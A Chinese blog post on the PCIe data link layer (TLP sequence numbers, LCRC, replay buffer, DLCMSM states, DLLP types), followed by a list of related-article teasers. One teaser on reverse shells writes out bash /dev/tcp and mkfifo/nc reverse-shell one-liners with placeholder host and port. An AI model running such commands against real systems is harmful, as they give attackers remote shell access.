【PCIE体系结构七】数据链路层介绍

news2024/10/7 5:46:35

👉个人主页:highman110

👉作者简介:一名硬件工程师,持续学习,不断记录,保持思考,输出干货内容 

参考书籍:PCI_Express体系结构导读

目录

前言

 数据链路层概述

 数据链路层状态

 DLLP介绍


前言

        前面两篇分享了PCIE事务层的相关内容,这节开始讲述数据链路层。

 数据链路层概述

        数据链路层位于事务层与物理层之间,主要功能是为了保证来自事务层的TLP在链路上的准确传递。数据链路层处理的是端到端的报文,也就是发送端到接收端,其基本结构图如下:

 

        发送端:数据链路层接收上层传来的TLP,它给每个TLP加上Sequence Number(序列号,下文都用“序列号”来阐述)和LCRC(Link CRC),先放入replay buffer(规范称retry buffer)暂存,然后转交给物理层,replay buffer会根据接收端的ACK/NAK DLLP报文来决定是重发这些暂存的TLP,还是清除这些TLP。replay buffer的容量越大,发送流水线容纳的报文越多,越不容易发生中断,但是越大占用的系统资源也越多,replay buffer的容量需要根据链路的延时来决定。

        接收端:数据链路层接收物理层传来的TLP,检测CRC和序列号,如果有问题,会拒绝接收该TLP,即不会传到它的事务层,并且通知发送端重传;如果该TLP没有问题,数据链路层则去除TLP中的序列号和LCRC,交由它的事务层,并通知发送端TLP正确接收。

        总结数据链路层的作用为:

        1、将TLP加序列号和LCRC后发往物理层传输;

        2、使用握手协议(Ack/Nak)和重传(Retry)机制来保证数据传输的一致性和完整性;

        3、TLP流量控制;

        4、电源管理。

 数据链路层状态

        数据链路层会通过物理层监控PCIE链路状态,并维护数据链路层的管理与控制状态机(data link control and management machine,DLCMSM),DLCMSM状态机可以从物理层获得以下与PCIE链路相关的状态:

        1、DL_inactive:物理层通知数据链路层当前的PCIE链路不可用。在当前PCIE链路对端没有连接任何设备,或没有检测到对端设备存在时,数据链路层处于该状态。

        2、DL_init:PCIE正处于链路初始化状态,此这时数据链路层不能接收或发送TLP和DLLP。此时PCIE链路需要首先初始化VC0的流量控制机制,然后对其他虚拟链路进行流量控制的初始化。

        3、DL_active:当前PCIE链路处于正常工作状态。此时物理层已经完成链路训练。

        除了上述从物理层获得的PCIE链路状态外,数据链路层还可以使用以下状态位,向事务层通知数据链路层所处的工作状态:

        1、DL_down:当数据链路层处于DL_inactive状态时,该状态位有效。表明链路对端没有发现有设备连接,需要进一步检测。

        2、DL_up:当数据链路层处于DL_active状态时,该状态位有效。

        有些同学可能有疑问了,这两种状态定义不是部分重复了吗?这里解释一下,DL_inactive、DL_init、DL_active是DLCMSM状态机的状态定义,在收到物理层的状态信息后,DLCMSM状态机会进行状态转换,然后在状态机的DL_inactive/ DL_active状态内,会对DL_down/ DL_up这两个状态位进行置位,然后把这两个状态位报给事务层。

        如下是DLCMSM状态机的状态转移图:

        引发此状态机进行状态转换的条件有很多,这里不一一赘述,总体而言就是复位(指传统复位,FLR复位不行)、物理层link up/down、手动enable/disable链路、热插拔等等有可能改变物理层链路状态的行为。

 DLLP介绍

        数据链路层的传输内容除了上层发来的TLP外,该层本身还会产生四种类型的DLLP:ACK/NAK类、电源管理类、流控类、厂家自定义类(需要注意DLLP并不是TLP加上Sequence Number和LCRC)。一个DLLP由6个字节组成,如下图:

        DLLP的类型描述如下:

        今天的介绍先到这里,后面会详细讲解ACK/NAK、电源管理、流控DLLP的工作过程。

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/482986.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

命名ACL配置

命名ACL配置 【实验目的】 掌握命名ACL的配置。验证配置。 【实验拓扑】 实验拓扑如图1所示。 图1 实验拓扑 设备参数如表所示。 表1 设备参数表 设备 接口 IP地址 子网掩码 默认网关 R1 S0/3/0 192.168.1.1 255.255.255.252 N/A Fa0/0 192.168.2.1 255.255.…

05_Uboot源码目录分析

目录 Uboot 源码目录分析 arch 文件夹 board 文件夹 configs 文件夹 .u-boot.xxx_cmd 文件 Makefile 文件 u-boot.xxx文件 .config文件 README Uboot 源码目录分析 学会uboot使用以后就可以尝试移uboot到自己的开发板上了,但是在移植之前需要我们得先分析一遍uboot的…

什么是Spring FactoryBean?有什么作用?

1、什么是Spring Spring是分层的 Java SE/EE应用 full-stack 轻量级开源框架,以 IOC和AOP为内核。含有七大核心模块 2、Spring的七大模块 (1)Spring Core:核心容器提供了Spring的基本功能。核心容器的核心功能是用IOC 容器来管理类的依赖关系&#xff…

卷积神经网络详解

(一)网络结构 一个卷积神经网络里包括5部分——输入层、若干个卷积操作和池化层结合的部分、全局平均池化层、输出层: ● 输入层:将每个像素代表一个特征节点输入进来。 ● 卷积操作部分:由多个滤波器组合的卷积层。 …

788. 逆序对的数量(C++和Python3)——2023.5.2打卡

文章目录 QuestionIdeasCode Question 给定一个长度为 n 的整数数列&#xff0c;请你计算数列中的逆序对的数量。 逆序对的定义如下&#xff1a;对于数列的第 i 个和第 j 个元素&#xff0c;如果满足 i<j 且 a[i]>a[j] &#xff0c;则其为一个逆序对&#xff1b;否则不…

14-6-进程间通信-信号量

前面学习了pipe,fifo,共享内存&#xff0c;信号。 本章将讲述信号量。 一、什么是信号量/信号量集&#xff1f; 1.什么是信号量 信号量是一个计数器。信号量用于实现进程间的同步和互斥。而可以取多个正整数的信号量被称为通用信号量。 对信号量的使用场景的解读 房间&#…

MyBatis学习记录

文章目录 MyBatis介绍JDBC缺点MyBatis简化MyBatis快速入门之查询user表中的所有数据1、创建user表&#xff0c;添加数据2、创建模块&#xff0c;导入坐标3、编写MyBatis核心配置文件 --> 替换连接信息&#xff0c;解决硬编码问题4、编写SQL映射文件 --> 同一管理sql语句&…

计算机网络:DNS域名解析过程

基本概念 DNS是域名系统&#xff08;Domain Name System&#xff09;的缩写&#xff0c;也是TCP/IP网络中的一个协议。在Internet上域名与IP地址之间是一一对应的&#xff0c;域名虽然便于人们记忆&#xff0c;但计算机之间只能互相认识IP地址&#xff0c;域名和IP地址之间的转…

实例解读nn.AdaptiveAvgPool2d((1, 1))

nn.AdaptiveAvgPool2d((1, 1))在PyTorch中创建一个AdaptiveAvgPool2d类的实例。该类在输入张量上执行2D自适应平均池化。 自适应平均池化是一种池化操作&#xff0c;它计算每个输入子区域的平均值并产生一个指定大小的输出张量。子区域的大小是根据输入张量的大小和输出张量的…

5年测试点工?老鸟总结功能到接口自动化测试进阶,自动化核心竞争力...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 我们来说说 功能测…

权限提升:信息收集 .(Linux系统)

权限提升&#xff1a;信息收集. 权限提升简称提权&#xff0c;由于操作系统都是多用户操作系统&#xff0c;用户之间都有权限控制&#xff0c;比如通过 Web 漏洞拿到的是 Web 进程的权限&#xff0c;往往 Web 服务都是以一个权限很低的账号启动的&#xff0c;因此通过 Webshel…

unity 性能优化之GPU和资源优化

Shader相关优化 众所周知&#xff0c;我们在unity里编写Shader使用的HLSL/CG都是高级语言&#xff0c;这是为了可以书写一套Shader兼容多个平台&#xff0c;在unity打包的时候&#xff0c;它会编译成对应平台可以运行的指令&#xff0c;而变体则是&#xff0c;根据宏生成的&am…

【英语】大学英语CET考试,翻译部分(修饰后置,定语从句,插入语,多动句,无主句)

文章目录 3大知识点与出题形式1、修饰后置&#xff08;使用介词&#xff09;2、修饰后置&#xff08;定语从句&#xff08;被逼无奈&#xff09;/which&#xff08;非限制性&#xff0c;加高级&#xff09;&#xff09;3、修饰后置&#xff08;插入语或同位语&#xff08;只有1…

【力扣-20】有效的括号

&#x1f58a;作者 : D. Star. &#x1f4d8;专栏 : 数据结构 &#x1f606;今日分享 : 夏虫不可以语冰 : 出自「庄子秋水」。原句是“井蛙不可以语于海者&#xff0c;拘于虚也&#xff1b;夏虫不可以语于冰者&#xff0c;笃于时也&#xff1b;曲士不可以语于道者&#xff0c;束…

自动驾驶——离散LQR的黎卡提方程Riccati公式推导与LQR工程化

1.LQR Question Background 之前写过连续系统的黎卡提方程Riccati推导&#xff0c;但是考虑到实际工程落地使用的是离散系统&#xff0c;于是又进行了离散黎卡提方程Riccati的公式推导。 2.Proof of Riccati Equation Formula for Discrete Systems 工程化落地&#xff0c;就…

NECCS|全国大学生英语竞赛C类|听力|长对话|15:40~16:33

目录 一、长对话 1.场景词汇&#xff08;接上篇&#xff09; &#xff08;5&#xff09;医院用语 &#xff08;6&#xff09;酒店用语 &#xff08;7&#xff09;机场用语 &#xff08;8&#xff09;办公室用语 二、题目类型 1. 细节题 2. 推理判断题 3. 主旨大意题 …

谈谈常用Reverse shell,以及他们是怎么做到的。

谈谈常用Reverse shell&#xff0c;以及他们是怎么做到的。 前言/bin/bash -i >& /dev/tcp/ip/port 0>&1/bin/bash -i>&/dev/tcp0>&1结合起来 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/frm /tmp/fmkfifo…

【五一创作】【记录】ChatGPT|图片预览魔法咒语魔改,使用 ChatGPT 返回大量可以跳转的链接

很早的时候&#xff0c;我已经留意到 ChatGPT 会以返回图片的 markdown 格式来显示图片&#xff0c;很可能拥有一定的图片上传功能&#xff0c;但是它往往会显示得有些问题。一些代码图片之类的或者风景图什么的都不是很会。 但其实 ChatGPT 是可以直接返回图片类型的回复的&a…

ES6 基础复习

变量声明 变量可能具有的特性 块级作用域&#xff0c;变量提升&#xff08;变量声明之前使用该变量&#xff09;&#xff0c;全局属性&#xff0c;重复声明&#xff0c;暂时性死区&#xff08;变量声明之前的区域无法使用该变量&#xff09;&#xff0c;初始值设置&#xff0…

Doris(23):Doris的函数—字符串函数

1 append_trailing_char_if_absent(VARCHAR str, VARCHAR trailing_char) 如果s字符串非空并且末尾不包含c字符,则将c字符附加到末尾。 trailing_char只包含一个字符,如果包含多个字符,将返回NULL select append_trailing_char_if_absent(a,c);select append_trailing_cha…